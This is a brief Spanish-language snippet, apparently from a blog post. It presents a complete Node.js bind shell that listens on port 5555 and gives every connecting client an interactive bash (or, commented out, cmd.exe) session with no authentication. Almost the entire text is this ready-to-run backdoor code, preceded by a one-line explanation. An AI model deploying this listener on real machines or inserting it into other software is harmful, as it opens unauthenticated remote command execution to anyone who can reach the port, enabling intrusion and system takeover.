Únicamente se conectan entradas y salidas del socket y del proceso shell convenientemente y ya está.
var net = require('net');
var spawn = require('child_process').spawn;
var server = net.createServer(function(sock){
console.log("nuevo cliente: " + sock.remoteAddress + ":" + sock.remotePort);
var bash = spawn('/bin/bash', ["-i"], { env: process.env, setsid: true});//unix
//var bash = spawn('cmd.exe', []);//guindors
bash.stdout.on('data', function (data) {
sock.write(data);
});
bash.stderr.on('data', function (data) {
sock.write(data);
});
bash.on('exit', function (code) {
sock.end(code);
});
sock.on('data', function(dd){
bash.stdin.write(dd);
});
});
server.listen(5555);
console.log("escuchando en el puerto 5555");